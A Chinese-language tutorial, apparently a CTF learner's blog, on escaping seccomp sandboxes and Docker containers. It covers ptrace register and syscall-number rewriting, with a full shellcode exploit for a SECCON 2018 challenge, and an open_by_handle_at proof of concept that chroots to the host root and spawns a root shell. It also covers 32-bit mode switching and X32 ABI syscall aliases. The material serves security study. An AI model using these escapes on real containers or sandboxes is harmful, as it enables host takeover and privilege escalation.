前言

学习一下seccomp沙箱逃逸和容器逃逸的方法。提到的方法有:

  • ptrace
  • open_by_handle_at
  • 切换模式
  • X32 ABI

主要的参考资料:

ptrace修改寄存器绕过沙箱

基础知识

syscall

在写shellcode时经常使用syscall来完成函数调用,例如常用的orw等。以下为一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<unistd.h>
#include<sys/syscall.h>

int main()
{
char *argv[]={"/bin/cat", "flag", NULL};
char *env[]={NULL};
char cmd[20] = "/bin/cat";
syscall(0x3b, cmd, argv, env);
return 0;
}
1
2
➜  seccomp-escape ./syscall
flag{one flag here}

seccomp

常用的沙箱,原理是禁用特定的系统调用,或只允许特定的系统调用。

假如prctl来禁用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<unistd.h>
#include<sys/syscall.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>

int main()
{
char *argv[]={"/bin/cat", "flag", NULL};
char *env[]={NULL};
char cmd[20] = "/bin/cat";
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
syscall(0x3b, cmd, argv, env);
return 0;
}
1
2
➜  seccomp-escape ./syscall
[1] 543 killed ./syscall

通过seccomp来禁用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<unistd.h>
#include<sys/syscall.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<seccomp.h>

int main()
{
char *argv[]={"/bin/cat", "flag", NULL};
char *env[]={NULL};
char cmd[20] = "/bin/cat";

scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW); // default action: Allow
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);

syscall(0x3b, cmd, argv, env);
return 0;
}

默认状态为全允许,然后禁用了write函数。

1
2
➜  seccomp-escape ./syscall
[1] 2730 invalid system call (core dumped) ./syscall

另外,seccomp的沙箱同样适用于子进程,即通过fork也不能逃出sandbox。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdio.h>
#include<unistd.h>
#include<sys/syscall.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<seccomp.h>
#include<sys/types.h>
#include<sys/wait.h>

int main()
{
char *argv[]={"/bin/cat", "flag", NULL};
char *env[]={NULL};
char cmd[20] = "/bin/cat";

scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW); // default action: Allow
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);

//syscall(0x3b, cmd, argv, env);

pid_t pid;
int rv;
pid = fork();
if(pid == 0){ // child process
syscall(59, cmd, argv, env);
}
else
{
waitpid(pid, &rv, 0);
}
return 0;

return 0;
}
1
2
➜  seccomp-escape ./syscall
➜ seccomp-escape

需要注意的是,rule add这个函数的功能要强大很多,可以设定在哪种条件下杀掉系统调用。例如指定只有在write的第三个参数为x时杀掉系统调用。

ptrace

ptrace是一个系统调用,和名字一样,用来提供对进程的追踪功能。可以在一个进程中观察&控制另一个进程的状态。gdb就是基于ptrace实现的。ptrace也作为沙箱保护的一个工具。

参考:

信号

ptrace通过信号来完成进程间的通信。通过kill可以发送信号:

1
2
➜  seccomp-escape kill -l
HUP INT QUIT ILL TRAP ABRT BUS FPE KILL USR1 SEGV USR2 PIPE ALRM TERM STKFLT CHLD CONT STOP TSTP TTIN TTOU URG XCPU XFSZ VTALRM PROF WINCH POLL PWR SYS

kill -9就是杀进程:KILL

作用

  • 实现gdb,strace等调试用的工具
  • 反追踪。这是因为一个进程只能被一个进程追踪,但是一个进程可以追踪多个进程。如果进程A已经被另一个进程追踪了,那么其他进程就不能通过基于ptrace的方式追踪这个进程。该方法常用于加密解密等。
  • 向其他进程注入代码,和调试类似
  • 实现沙箱,监控系统调用

ptrace基础用法

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/syscall.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<seccomp.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<string.h>
#include<sys/ptrace.h>
#include<sys/user.h>
#include<sys/reg.h>


int main()
{
char *argv[]={"/bin/cat", "flag", NULL};
char *env[]={NULL};
char cmd[20] = "/bin/cat";

pid_t pid;
int rv; // 子进程的退出状态
long orig_rax;
long value;
int insyscall = 0;
struct user_regs_struct regs;

pid = fork();
if(pid == 0){ // 在子进程中
// PTRACE_TRACEME: 允许父进程追踪
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
syscall(0x3b, cmd, argv, env);
exit(0);
}
else{ // 父进程
while(1){
wait(&rv); // 等待子进程结束或发送一个信号
if(WIFEXITED(rv)){ // 如果正常退出
break;
}
// 拿到rax即系统调用号
orig_rax = ptrace(PTRACE_PEEKUSER, pid, 8 * ORIG_RAX, NULL);
// 如果调用的是write
if(orig_rax == 1){
if(insyscall == 0){
printf("Syscall %ld\n", orig_rax);
// 读取寄存器的值
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
printf("Regs: rdi=0x%llx, rsi=0x%llx, rdx=0x%llx\n", regs.rdi, regs.rsi, regs.rdx);
insyscall = 1;
}
else{
int rax = ptrace(PTRACE_PEEKUSER, pid, 8 * RAX, NULL);
printf("Write return value: %d\n", rax);
insyscall = 0;
}
}
// 继续执行
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
}
printf("Child process exited\n");
}
return 0;
}

运行结果:

1
2
3
4
5
Syscall 1
Regs: rdi=0x1, rsi=0x7f64eb699000, rdx=0x14
flag{one flag here}
Write return value: 20
Child process exited

父继承读取到了子进程调用了write,并读取了寄存器的值,然后让子进程继续运行。并拿到了子进程的返回值。

ptrace进阶用法

主要是用到了两个功能:

读取addr上的值

1
ptrace(PTRACE_PEEKDATA, pid, addr, NULL);

指定值写入指定地址

1
ptrace(PTRACE_POKEDARA, pid, addr, NULL);

有点gdb的意思了。

修改系统调用参数

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(orig_rax == 1)
{
if(insyscall == 0)
{
printf("Syscall number: %d\n", orig_rax);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
printf("Write called with 0x%lx, 0x%lx, 0x%lx\n", regs.rdi, regs.rsi, regs.rdx);
addr = regs.rsi;
length = regs.rdx;
if(regs.rdx == 27)
{
regs.rdx = 26;
}
rv = ptrace(PTRACE_SETREGS, pid, NULL, &regs);
insyscall = 1;
}
else
{
int rax = ptrace(PTRACE_PEEKUSER, pid, 8 * RAX, NULL);
printf("\nWrite returned with %d\n", rax);
insyscall = 0;
}

}

在seccomp沙箱中禁止了write调用的长度为27的情况:

1
2
3
4
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW); // default action: allow
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1, SCMP_A2(SCMP_CMP_EQ, 27));
seccomp_load(ctx);

绕过的方法就是通过ptrace将第三个参数修改了。

修改系统调用号

上面的方法看起来似乎只能绕过对参数的限制。如果限制不能调用write,也就不适用了。那如何绕过呢?

方法:先调用一个允许的系统调用,然后通过ptrace修改系统调用号。

例如,在沙箱中禁用了mkdir,其他可以调用,那我们可以调用getpid

1
syscall(SYS_getpid, SYS_mkdir, "dir", 0777);

巧妙的是,mkdir的系统调用号和参数我们作为getpid的参数传进去,这样子进程的ptrace可以很容易拿到mkdir的参数并赋值:

1
2
3
4
5
6
7
8
9
10
11
12
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if (regs.orig_rax == SYS_getpid) {
regs.orig_rax = regs.rdi;
regs.rdi = regs.rsi;
regs.rsi = regs.rdx;
regs.rdx = regs.r10;
regs.r10 = regs.r8;
regs.r8 = regs.r9;
regs.r9 = 0;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
}

这个顺序应该更清楚些:

1
2
3
4
5
6
7
8
9
10
11
12
13
clone (parent, child)
parent : waitpid(childpid, NULL, 0)
child : ptrace(PTRACE_TRACEME, 0, NULL, NULL)
child : syscall(SYS_tkill, syscall(SYS_gettid), SIGSTOP)
parent : ptrace(PTRACE_SYSCALL, childpid, NULL, NULL)
parent : waitpid(childpid, NULL, 0)
child : syscall(SYS_getpid, (unsigned long)"/flag", O_RDONLY); <= 重点
parent : ptrace(PTRACE_GETREGS, childpid, NULL, &regs) <= 重点
parent : regs.orig_rax = SYS_open; <= 重点
parent : ptrace(PTRACE_SETREGS, childpid, NULL, &regs) <= 重点
parent : ptrace(PTRACE_DETACH, childpid, NULL, NULL)
child : ssize_t n = read(r, buf, sizeof(buf));
child : write(1, buf, n);

可参考的实现

如果涉及到这个步骤应该题目可以拿到libc的地址了,可以通过mprotect来创造rwx的段,写shellcode进去。

以下是一个可供参考的实现方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
clone = asm('''
/* clone and branch */
mov rdi, 0x1200011
mov rsi, 0
mov rdx, 0
mov r10, rsp
add r10, 0x500
mov qword ptr [r10], 0
mov rax, 56

syscall
test rax, rax
''')

debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax

/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall

/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
mov rax, 0x65
syscall

/* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
mov qword ptr [r9], 0x0000000000000002
mov rax, 0x65
syscall

/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

mov rax, 0x3c
syscall
''')

debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall

/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
''' +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))


stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee

sl(stage3)

涉及的题目为:SECCON 2018 - PWN SimpleMemo,比赛的过程中只有2解。

参考链接:

题目的源码和参考exp:

这个题目感觉很不错,有空完整复现一下。

open_by_handle_at打开文件

通过open_by_handle_at逃逸容器是一个很经典的手法。这个方法可以逃逸docker容器等。不过似乎需要root权限才可以使用对应的syscall,所以绕过像seccomp这种沙箱应该不太行。

基础知识

Linux Capability

翻译应该是权能?普通用户可能需要root权限才能工作,于是将root的特权操作分成几个Capability,分配给可执行文件或进程。

Unix文件系统

proc结构体

保存进程状态,优先级等信息,给内核访问。常驻内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct proc {
// 进程当前状态
char p_stat;
// 标识变量
char p_flag;
// 执行优先级
char p_pri;
// 接收到的信号
char p_sig;
// UID
char p_uid;
// 在内存或交换空间中存在的时间,单位秒
char p_time;
// 占用 CPU 的累积时间,单位时钟 tick 数
char p_cpu;
// 用于修正执行优先级的补正系数,默认 0
char p_nice;
// 正在操作进程的终端
int p_ttyp;
// PID
int p_pid;
// 父进程 PID
int p_ppid;
// 数据段的物理地址
int p_addr;
// 数据段长度
int p_size;
// 进程进入休眠的原因
int p_wchan;
// 使用的代码段
int *p_textp;
}

user结构体

保存进程打开的文件等信息。并不会长驻内存。proc.p_addr(数据段地址)最开始就是user结构体。user结构体中的u_ofile比较有用,和文件描述符有关。

文件描述符

image-20200514205442826

文件描述符:内核为了管理已经打开的文件做的索引,例如stdin=0,stdout=1,stderr=2。

如果两个进程打开了同一个文件(如图),在file[]中是两个结构体,所以flip偏移不同。但是都指向inode中的同一个结构体。

以下情况会使得两个进程的文件描述符指向同一个file:(并不全,可能有其他情况)

  • 父进程fork子进程,两者共享一个file 用于容器逃逸
  • 使用dup或者dup2,复制现有文件描述符

fork的这个场景就适用于容器逃逸或沙箱逃逸:

  • Docker Daemon 进程就是容器进程的父进程

open_by_handle_at函数

原型:

1
int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);

用于打开struct file_handle *handle结构体指针描述的文件。mount_fd 参数为 file_handle 结构体指针所描述文件所在的文件系统中,任何一个文件或者是目录的文件描述符。使用该函数需要CAP_DAC_READ_SEARCH权能。这个权能可以忽略所有对读、搜索操作的限制。在旧版本的docker中没有将此权能加入黑名单,导致可以通过open_by_handle_at这个函数暴力搜索宿主机的文件并打开。

运行docker时需要加上该权能:

1
2
3
$ docker run -rm -ti --cap-add=DAC_READ_SEARCH centos:7 /bin/bash
or
$ docker run -rm -ti --privileged centos:7 /bin/bash

读取容器内文件

首先通过stat指令查看/etc/passwd的inode:

1
2
3
4
5
6
7
8
  File: '/etc/passwd'
Size: 1289 Blocks: 8 IO Block: 4096 regular file
Device: 70h/112d Inode: 1060907 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2020-05-14 13:27:31.273600000 +0000
Modify: 2018-01-26 09:30:54.000000000 +0000
Change: 2019-05-19 04:54:31.828430778 +0000
Birth: -

1060907转换为16进制保存到file_hadle.f_handle中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>


void die(const char *msg)
{
perror(msg);
exit(errno);
}

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

int main()
{
int fd1, fd2;
char buf[0x1000];

struct my_file_handle h = {
.handle_bytes = 8,
.handle_type = 1,
// 57690 = E1 5A
.f_handle = {0x2b, 0x30, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00}
};

// $ mount
// /dev/sda1 on /etc/hosts type ext4 (rw,relatime,data=ordered)
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
die("failed to open");

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("failed to open_by_handle_at");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("failed to read");

fprintf(stderr, "%s", buf);
close(fd2);
close(fd1);
return 0;
}

gcc编译后可以运行:

1
2
3
4
root@--name:/ctf/work/openat# ./a.out
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

但是不是root用户是无法调用的:

1
2
3
4
pwn@--name:/ctf/work/openat$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
pwn@--name:/ctf/work/openat$ ./a.out
failed to open_by_handle_at: Operation not permitted

读取宿主机文件

上面的例子是如何读取容器内的文件,怎么读取宿主机的文件?一般来说/的inode是2:

1
2
3
4
5
6
7
8
9
$ stat /
File: '/'
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 801h/2049d Inode: 2 Links: 26
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2020-05-14 00:08:17.830679314 -0700
Modify: 2020-05-06 06:17:08.354805040 -0700
Change: 2020-05-06 06:17:08.354805040 -0700
Birth: -

这是一个相对不变的值,通过这个可以扫描到所有文件。完整的Poc:

简单来说就是暴力的试incode,判断文件名是不是想要的问价。是的话就读取。

使用该方法可以获取宿主机的shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
#include <ctype.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

int main()
{
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

int fd, mfd;
mfd = open("/etc/hosts", 0);

if (mfd == -1)
die("failed to open");

fd = open_by_handle_at(mfd, (struct file_handle *)&root_h, 0);
if (fd == -1)
die("failed to open_by_handle_at");

printf("opened %d\n", fd);
fchdir(fd);
chroot(".");
system("sh -i");
close(fd);
return 0;
}

测试的场景为:在ubuntu16.04的宿主机上,运行ubuntu16.04的docker。

将编译好的bin通过base64传送给docker内,执行:

1
2
3
4
5
6
7
8
9
10
11
12
root@d427205646aa:/tmp# ./a.out
opened 4
# ls
bin etc lib lost+found proc snap usr
boot home lib32 media root srv var
cdrom initrd.img lib64 mnt run sys vmlinuz
dev initrd.img.old libx32 opt sbin tmp vmlinuz.old
# cd home
# ls
keenan
# id
uid=0(root) gid=0(root) groups=0(root)

成功拿到了宿主机的shell。

结合ptrace攻击

即使seccomp sandbox禁用了open_by_handle_at,同样可以通过ptrace来绕过该限制。

容器的攻击面很多,沙箱可以提高安全性,但并不是绝对安全。

切换至32位模式绕过沙箱

主要的方法为:

  • 利用retf更改cs寄存器的值,使其变为32位模式

直接用ROPgadget应该是找不到retf的gadgets的,先用汇编得到字符串,然后再gdb search。

X32 ABI 额外的系统调用号

参考Panda师傅的文章:http://p4nda.top/2018/07/27/CISCN-Final/

一个系统两个调用号。例如open的系统调用号为2,而用0x40000000+2=0x40000002也可以调用open。

1
2
3
4
/* call open() */
push 0x40000002 /* 2 */
pop rax
syscall\n

这个方法没有测试,具体可以查看链接中提到的参考链接。

来个4层pwn?

1
2
3
4
5
宿主机 | docker | qemu | kernel | user
[docker容器逃逸]
[qemu虚拟化逃逸]
[内核提权]
[用户态下的漏洞利用getshell]